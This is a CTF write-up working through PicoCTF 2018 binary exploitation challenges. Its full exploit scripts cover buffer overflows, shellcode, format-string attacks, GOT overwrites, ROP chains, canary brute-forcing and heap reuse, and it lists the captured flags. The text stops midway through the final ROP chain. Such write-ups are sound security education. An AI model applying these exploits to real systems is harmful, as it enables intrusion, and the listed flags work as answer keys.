PicoCTF 2018 Writeup: Binary Exploitation
Oct 13, 2018 08:56 · 5868 words · 28 minute read
buffer overflow 0
Problem
Let’s start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.
Solution
Let’s first take a look at the source code provided:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
void vuln(char *input){
char buf[16];
strcpy(buf, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
if (argc > 1) {
vuln(argv[1]);
printf("Thanks! Received: %s", argv[1]);
}
else
printf("This program takes 1 argument.\n");
return 0;
}
The vuln
function immediately captured my attention. Because strcpy
doesn’t check the length of the buffers, it can easily cause a buffer overflow. Let’s strcpy
more that 16 bytes into the buf
buffer to trigger the buffer overflow. That will cause a SIGSEGV
signal that calls sigsegv_handler
, and the handler function with print out the flag for us:
$ ./vuln `python -c "print 'a'*(100)"`
picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}
flag: picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}
buffer overflow 1
Problem
Okay now you’re cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_2_86cbe4de3cdc8986063c379e61f669ba on the shell server. Source.
Solution
Same as the last one, let’s start by reading the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
As you can see, we want to call the win
function, and there’s a clear buffer overflow with the classic gets
call. The gets
call is dangerous because it copies any number of bytes you input which will overwrite memory that you otherwise shouldn’t be able to write to.
In this case, we want to overwrite the return address of the function which is located 12 bytes below the buffer. Here are the commands that overwrites the original return address with the address of the win
function:
$ r2 ./vuln
[0x080484d0]> aaaa
[0x080484d0]> afl
...
0x080485cb 3 100 sym.win
...
[0x080484d0]> q
$ python -c "from pwn import *; print 'a'*(32+12)+p32(0x080485cb)" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy56a7b196}Segmentation fault
flag: picoCTF{addr3ss3s_ar3_3asy56a7b196}
leak-me
Problem
Can you authenticate to this service and get the flag? Connect with nc 2018shell2.picoctf.com 57659
. Source.
Solution
Let’s take a look at the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
// real pw:
FILE *file;
char password[64];
char name[256];
char password_input[64];
memset(password, 0, sizeof(password));
memset(name, 0, sizeof(name));
memset(password_input, 0, sizeof(password_input));
printf("What is your name?\n");
fgets(name, sizeof(name), stdin);
char *end = strchr(name, '\n');
if (end != NULL) {
*end = '\x00';
}
strcat(name, ",\nPlease Enter the Password."); // overflow
file = fopen("password.txt", "r");
if (file == NULL) {
printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(password, sizeof(password), file);
printf("Hello ");
puts(name);
fgets(password_input, sizeof(password_input), stdin);
password_input[sizeof(password_input)] = '\x00'; // overflow
if (!strcmp(password_input, password)) {
flag();
}
else {
printf("Incorrect Password!\n");
}
return 0;
}
So in order to get the flag, we need to leak the content of the password file. The only output field that we can control is the line puts(name);
. That mean we need to somehow put the password into the name
buffer. This turns out to be quite easy because the password_input
buffer comes right after the name
buffer:
char name[256];
char password_input[64];
What this means is that if we can remove the null byte between the two buffers, we can make puts
think that it is just one long string and print out the password for us. There happens to be a line in the program that does just that for us: strcat(name, ",\nPlease Enter the Password.");
. This line with remove the null byte for us making puts
print out the password together with the name.
Here is how this happens:
- user input 256 bytes into the
name
buffer - the last byte is replace with a null byte marking the end of the string
- the
strcat
function adds an addition string to the buffer pushing the null byte to somewhere in thepassword_input
buffer region. - the password is read from the file and written the
password_input
buffer overwriting the null byte
In simpler terms, we just have to write exactly 256 bytes of input. If that happens, the program with go horribly wrong and give us the password. Here is the script to do just that:
from pwn import *
# sh = process('./auth')
sh = remote('2018shell2.picoctf.com', 57659)
payload = 'a'*256
sh.sendlineafter('?\n', payload)
print sh.recvuntil('\n').split(',')[1] # a_reAllY_s3cuRe_p4s$word_56b977
sh.interactive()
With the password in hand, we can now get the flag from the program.
flag: picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_2b5cbbaa}
shellcode
Problem
This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_4_99838609970da2f5f6cf39d6d9ed57cd on the shell server. Source.
Solution
The source code for this challenge is quite short:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter a string!");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
return 0;
}
As you can see, the program reads in some bytes from the user and then calls the buffer as a function. This basically means that we can run whatever assembly code we want with this program.
Instead hand-crafting our assembly payload, we can use the ones included in pwntools. Here is the script to open a shell on the game server:
from pwn import *
sh = process('./vuln')
sh.sendlineafter('!\n', asm(shellcraft.i386.linux.sh()))
sh.interactive()
Now, let’s run the script on the game server:
alanc@pico-2018-shell-2:~$ python main.py
[+] Starting local process '/problems/shellcode_4_99838609970da2f5f6cf39d6d9ed57cd/vuln': pid 1149599
[*] Switching to interactive mode
jhh///sh/bin\x89�h\x814$ri1�Qj\x04Y�Q��1�j\x0bX̀
Thanks! Executing now...
$ cat /problems/shellcode_4_99838609970da2f5f6cf39d6d9ed57cd/flag.txt
picoCTF{shellc0de_w00h00_b766002c}$
flag: picoCTF{shellc0de_w00h00_b766002c}
buffer overflow 2
Problem
Alright, this time you’ll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257 on the shell server. Source.
Solution
Let’s look at the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xDEADC0DE)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
Similar to buffer overflow 1
, we can control the instruction pointer by overwriting the return address on the stack; however, this time we need to pass two arguments with calling the win
function. This becomes easy once you understand how the stack is laid out:
- local variables
- base point and etc
- return address 1
- return address 2
- arguments for return function 1
So in this case, we our payload will be:
- ‘a’ * 100 <– filling the buffer
- ‘a’ * 12 <– overwrite some stuff that we don’t care about
- p32(0x080485cb) <– address for the
win
function (read my solution for buffer overflow 1 to see how I got this address) - ‘a’ * 4 <– pad out the second return address
- p32(0xDEADBEEF) <– argument one
- p32(0xDEADC0DE) <– argument two
Put all of this together, and we get the flag:
alanc@pico-2018-shell-2:/problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257$ python -c "from pwn import *; print 'a'*(100+12)+p32(0x080485cb)+'P'*4+p32(0xDEADBEEF)+p32(0xDEADC0DE)" | ./vuln
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaPPPPᆳ�����
picoCTF{addr3ss3s_ar3_3asy30723282}Segmentation fault
flag: picoCTF{addr3ss3s_ar3_3asy30723282}
got-2-learn-libc
Problem
This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1 on the shell server. Source.
Solution
Take a look at the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
void vuln(){
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
puts("Thanks! Exiting now...");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Here are some useful addresses:\n");
printf("puts: %p\n", puts);
printf("fflush %p\n", fflush);
printf("read: %p\n", read);
printf("write: %p\n", write);
printf("useful_string: %p\n", useful_string);
printf("\n");
vuln();
return 0;
}
Basically, we are given a list of important addresses that are random each time (because of aslr). Our goal would be to open up a shell on the server. The convenient part is that the string "/bin/sh"
is already in memory ready to be used.
Our plan is to first find the address of the system
libc function and then call the function with the argument "/bin/sh"
(read my writeup on buffer overflow 2 if you don’t know how to pass arguments to a function by manipulating the stack).
Although the address of system
is different each time, the difference between the address of another libc function (puts
in this case) and the address of system
is always the same. We can use gdb
to find both addresses and calculate the offset:
alanc@pico-2018-shell-2:/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1$ gdb ./vuln
...
(gdb) break main
Breakpoint 1 at 0x812
(gdb) run
Starting program: /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln
Breakpoint 1, 0x565f2812 in main ()
(gdb) print &system
$1 = (<text variable, no debug info> *) 0xf75be940 <system>
(gdb) print &puts
$2 = (<text variable, no debug info> *) 0xf75e3140 <puts>
(gdb)
Now with both addresses, we can see that the offset is 0xf75be940 - 0xf75e3140
or -149504
. With the offset in hand, we can call the system
function using a buffer overflow provided by the gets
call and retrieve the flag:
from pwn import *
sh = process('./vuln')
system_offset = -149504
print sh.recvuntil(':\n').split('\n')
info = sh.recvuntil(':\n').split('\n')
puts_plt = int(info[1].split(': ')[1][2:], 16)
sh_str = int(info[5].split(': ')[1][2:], 16)
system_plt = puts_plt + system_offset
payload = 'a'*(148+12)
payload += p32(system_plt)
payload += 'a'*4
payload += p32(sh_str)
sh.sendline(payload)
sh.interactive()
flag: picoCTF{syc4al1s_4rE_uS3fUl_88aa45fa}
echooo
Problem
This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell2.picoctf.com 46960
. Source.
Solution
First, let’s look at the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
char flag[64];
char *flag_ptr = flag;
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
memset(buf, 0, sizeof(flag));
memset(buf, 0, sizeof(buf));
puts("Time to learn about Format Strings!");
puts("We will evaluate any format string you give us with printf().");
puts("See if you can get the flag!");
FILE *file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
while(1) {
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
return 0;
}
As you can see, instead of using gets
, the program now uses fgets
which prevents us from overflowing the buffer; however, the program does pass the user input directly into printf
which makes the program vulnerable to format string attacks.
In simple terms, when you can control the first argument passed to a printf
function, you can craft format strings using %x
, %s
, and %n
to both write to memory and leak memory. For this program, we need to leak memory. The programmer is nice enough to leave a point to the flag buffer on the stack called flag_ptr
which means we don’t even have to put our own string onto the stack. Great!
Here is a simple script that just tries to print out all the values on the heap using %s
, and sure enough, the flag got print out:
from pwn import *
for i in range(100):
try:
sh = remote('2018shell2.picoctf.com', 46960)
sh.sendlineafter('> ', '%{}$s'.format(i))
print sh.recvuntil('> ')
sh.close()
except EOFError:
pass
flag: picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}
authenticate
Problem
Can you authenticate to this service and get the flag? Connect with nc 2018shell2.picoctf.com 52918
. Source.
Solution
Let’s look at the source code:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
int authenticated = 0;
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
flag();
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Would you like to read the flag? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
As you can see, printf(buf);
is vulnerable to a format string attack similar to the problem authenticate.
Our plan is to write to variable authenticated
and change it to something other than 0
. This time there’s no existing pointer on the stack that points to the variable, so we need to place our own. Since the user input is always copied onto the stack, we can place the pointer to authenticated
inside our input in order for it to be on the stack.
Now with the pointer on the stack, we can do %n
which writes the number of bytes printed to the location specified by the pointer on the stack. To make sure that %n
uses our pointer, we can use a for loop and some %x
s to print everything out first (the commented out part in my script). After that, we can just write to the variable authenticated
and get the flag. Here is the python script that does exactly that:
from pwn import *
# sh = process('./auth')
sh = remote('2018shell2.picoctf.com', 52918)
target = 0x0804a04c
payload = ''
payload += p32(target)
payload += '%11$n'
# for i in range(5, 20):
# payload += '%{}$x '.format(i)
sh.sendlineafter(')\n', payload)
sh.interactive()
flag: picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_d29a706d}
got-shell?
Problem
Can you authenticate to this service and get the flag? Connect to it with nc 2018shell2.picoctf.com 46464
. Source
Solution
Let’s look at the source code:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
void win() {
system("/bin/sh");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[256];
unsigned int address;
unsigned int value;
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
scanf("%x", &address);
sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
puts(buf);
scanf("%x", &value);
sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
puts(buf);
*(unsigned int *)address = value;
puts("Okay, exiting now...\n");
exit(1);
}
For this problem, we got one 4 byte write and we need to call the win
function. As you can see, puts
and exit
are the only two functions called after the write, so we need to change the behavior of one of the two functions. Because aslr is enabled, we need to look for things that stay constant. One of these things is the Global Offset Table. The Global Offset Table is the thing that allows a c program to call libc libraries and serve as a jumping point for the program. If we modify this jumping point, we can make the program execute code at a different address than intended.
Our first step with be to extract the GOT address of the puts
function and the address of the win
function. This could be easily done with radare2:
$ r2 ./auth
[0x08048450]> aaaa
...
[0x08048450]> afl
...
0x080483d0 1 6 sym.imp.puts
...
0x0804854b 1 25 sym.win
...
[0x08048450]> pd 1 @ sym.imp.puts
/ (fcn) sym.imp.puts 6
| sym.imp.puts (const char *s);
| ; CALL XREFS from sym.main (0x80485aa, 0x80485f1, 0x804863c, 0x804865c)
\ 0x080483d0 ff250ca00408 jmp dword [reloc.puts] ; 0x804a00c
As you can see, the address for the win
function is 0x0804854b
and the GOT address of the puts
function is 0x804a00c
. Now with the two values, we can quickly write a script to retrieve the flag:
from pwn import *
putsGOT = '0804a00c'
winAddr = '0804854b'
sh = remote('2018shell2.picoctf.com', 46464)
sh.sendlineafter('?\n', putsGOT)
sh.sendlineafter('\n', winAddr)
sh.interactive()
flag: picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_7a9e7634}
rop chain
Problem
Can you exploit the following program and get the flag? You can find the program in /problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47 on the shell server? Source.
Solution
This problem is about return oriented programming. For more practice, I recommend this website.
First, let’s take a look at the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define BUFSIZE 16
bool win1 = false;
bool win2 = false;
void win_function1() {
win1 = true;
}
void win_function2(unsigned int arg_check1) {
if (win1 && arg_check1 == 0xBAAAAAAD) {
win2 = true;
}
else if (win1) {
printf("Wrong Argument. Try Again.\n");
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void flag(unsigned int arg_check2) {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
printf("%s", flag);
return;
}
else if (win1 && win2) {
printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
}
else if (win1 || win2) {
printf("Nice Try! You're Getting There!\n");
}
else {
printf("You won't get the flag that easy..\n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
As you can see, instead of just calling one function, we now have to call win_function1
, win_function2
, and flag
in order using the buffer overflow from the gets
call. Although the hint suggests that we can call the main function more than once, I am able to get the flag in one go:
alanc@pico-2018-shell-2:/problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47$ python -c "from pwn import *; print 'a'*(16+12)+p32(0x080485cb)+p32(0x080485d8)+p32(0x0804862b)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)" | ./rop
Enter your input> picoCTF{rOp_aInT_5o_h4Rd_R1gHt_9853cfde}
Segmentation fault
Here is the layout for the exploit:
- ‘a’*(16+12) <– padding for our exploit
- p32(0x080485cb) <–
win_function1
address - p32(0x080485d8) <–
win_function2
address - p32(0x0804862b) <–
flag
address - p32(0xBAAAAAAD) <– argrument for the
win_function2
function - p32(0xDEADBAAD) <– argrument for the
flag
functionparam
If the explanation is not clear, take a look at my solution for buffer overflow 2.
flag: picoCTF{rOp_aInT_5o_h4Rd_R1gHt_9853cfde}
buffer overflow 3
Problem
It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag? You can find it in /problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e. Source.
Solution
Let’s take a look at the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
int i;
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
As you can see, we have a clear buffer overflow with the read
call; however, the canary
buffer is placed between our input buffer and the return address and it is checked first before the function returns. This means that we have to overwrite the return address of the function without changing the content of the canary
buffer. It is possible to brute force the canary as it is only 4 bytes long; however, a more efficient way to do it is to guess the canary one byte at a time which reduces the number of tries even more. After guessing the canary, we can then proceed to change the return address and get the flag.
Here is the python script that does the exact same thing as I just described:
from pwn import *
# context.log_level = 'debug'
winAddr = 0x080486eb
canary = ''
for i in range(1, 5):
for e in range(256):
sh = process('./vuln')
sh.sendlineafter('> ', str(32+i))
sh.sendafter('> ', 'a'*32+canary+chr(e))
output = sh.recvall()
if 'Stack' not in output:
print output
canary += chr(e)
break
print canary
# canary = 'abcd'
sh = process('./vuln')
sh.sendlineafter('> ', str(200))
sh.sendlineafter('> ', 'a'*32+canary+'a'*16+p32(winAddr))
sh.interactive()
flag: picoCTF{eT_tU_bRuT3_F0Rc3_9bb35cfd}
echo back
Problem
This program we found seems to have a vulnerability. Can you get a shell and retreive the flag? Connect to it with nc 2018shell2.picoctf.com 37857
.
Solution
My solution is certainly not the best way to solve this problem, so if you have a better method to solve this, please leave a comment below and let me know.
This time no source code is provided to us, so we need to fire up radare2 to do some reverse engineering:
[0x08048643]> s sym.vuln
[0x080485ab]> pdd
/* r2dec pseudo C output */
#include <stdint.h>
int32_t vuln (void) {
char * format;
int32_t canary;
int32_t local_4h;
eax = *(gs:0x14);
canary = eax;
eax = 0;
edx = &format;
eax = 0;
ecx = 0x20;
edi = edx;
do {
*(es:edi) = eax;
ecx--;
es:edi += 4;
} while (ecx != 0);
system ("echo input your message:", edi);
eax = &format;
read (0, eax, 0x7f);
eax = &format;
printf (eax);
puts (0x8048739);
puts ("Thanks for sending the message!");
eax = canary;
eax ^= *(gs:0x14);
if (? != ?) {
_stack_chk_fail ();
}
edi = local_4h;
return eax;
}
As you can see, the program reads in 0x7f
bytes from the user and prints them using printf
. Also, the program uses system
from libc which saves us the trouble of leaking the libc base address.
So there are is going to be two stages. Step one, we need to overwrite the puts
GOT entry in order for the program to loop allowing us to abuse the format string vulnerability more than once. Also, as an additional note, we can only write four bytes with no integer overflow because the system
GOT entry is right after and we need that. Step two, we need to replace the printf
GOT entry with the PLT address of system
which will give us a shell. If both steps are executed correctly, we can then retrieve the flag.
Here is a challenge that is specific to this problem. Although we can write a lot of characters with %NUMBERx
, it takes a long time for the characters to be printed. We can usually avoid this by doing two short writes (two byte at a time); however, in this case, this will cause a two bytes overflow which will break the system
GOT entry which is not good. In the end, I did a single four byte write that took forever, but I would love to know if there’s a way around this.
Here is my exploit script:
from pwn import *
# sh = process('./echoback')
sh = remote('2018shell2.picoctf.com', 37857)
system_PLT = 0x08048460
puts_GOT = 0x804a01c
printf_GOT = 0x804a010
vuln_addr = 0x080485e7
count1 = vuln_addr
count2 = 0
count3 = (0x10000-((count1+count2)%0x10000)) + (system_PLT & 0x0000ffff)
count4 = (0x10000-((count1+count2+count3)%0x10000)) + int(hex(system_PLT+0x100000000)[3:7],16)
print count1
print count2
print count3
print count4
payload = ''
payload += p32(puts_GOT)
payload += 'a'*4
payload += p32(printf_GOT)
payload += p32(printf_GOT+2)
payload += '%{}x'.format(count1-16)
payload += '%7$n'
payload += '%{}x'.format(count3)
payload += '%9$n'
payload += '%{}x'.format(count4)
payload += '%10$n'
pause()
sh.sendlineafter(':\n', payload)
sh.interactive()
flag: picoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_73881db0}
are you root?
Problem
Can you get root access through this service and get the flag? Connect with nc 2018shell2.picoctf.com 26847
. Source.
Solution
This is one of the most challenging problems for me in this CTF simply because I don’t know the heap that well.
However, once I understood the basics, the problem turns out to be not that hard. First, here is a list of resources that I used to learn about the heap and solve this challenge:
The key concept here is that malloc
reuses freed up space without zeroing them. So if we create a chunk for our username, free the chunk, and create a user object, the user object will have the same space in memory as the username buffer that we just freed. Using this knowledge, we can first craft a user object using the username buffer and then place a user object at the same place which then gives us the flag. Here is the script:
from pwn import *
# same 0x20 size chunk as the user struct
# use `heap chunks` in gef
sh = remote('2018shell2.picoctf.com', 26847)
sh.sendlineafter('> ', 'login {}'.format('\x05'*9))
sh.sendlineafter('> ', 'reset')
sh.sendlineafter('> ', 'login a')
sh.sendlineafter('> ', 'show')
print sh.sendlineafter('> ', 'get-flag')
print sh.interactive()
flag: picoCTF{m3sS1nG_w1tH_tH3_h43p_4baeffe9}
gps
Problem
You got really lost in the wilderness, with nothing but your trusty gps. Can you find your way back to a shell and get the flag? Connect with nc 2018shell2.picoctf.com 29035
. (Source).
Solution
This problem is just a harder version of shellcode. The difference is that we need to find the starting address of the shellcode that we wrote into memory. This can be tricky if you are aiming for one single address; however, with the help of a nop slide which is basically a dump of nop
instructions, we can make our shellcode a lot more random-resistant as we will only need to land on one of the nop
instructions.
Here is my script ('\x90'
is the assembly code for nop
):
from pwn import *
context.log_level = 'debug'
context.binary = './gps'
# sh = process('./gps')
sh = remote('2018shell2.picoctf.com', 29035)
pause()
print sh.recvuntil('> ')
payload = asm(shellcraft.amd64.linux.sh())
payload = '\x90'*(0x1000-1-len(payload)) + payload
sh.sendline(payload)
sh.interactive()
flag: picoCTF{s4v3_y0urs3lf_w1th_a_sl3d_0f_n0ps_gvzbnemc}
can-you-gets-me
Problem
Can you exploit the following program to get a flag? You may need to think return-oriented if you want to program your way to the flag. You can find the program in /problems/can-you-gets-me_4_f269dbca3097204b5d4a0064467b0a8c on the shell server. Source.
Solution
Let’s take a look at the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("GIVE ME YOUR NAME!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
This is a classic ROP challenge (read my solution for rop chain if you are not familiar with Return-oriented programming). The intension is for the players to hand-craft a rop chain that uses syscall to get a shell starting from scratch. However, why do it by hand when you can automate it?
Using the tool called ROPgadget, we can generate a whole script that will give us a shell. How nice!
All you have to do is:
$ ROPgadget --binary ./gets --ropchain
And the program does the rest.
Here is the exploit script in the end:
#!/usr/bin/env python2
from pwn import *
from struct import pack
context.log_level = 'debug'
sh = process('./gets')
# Padding goes here
p = 'a'*28
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
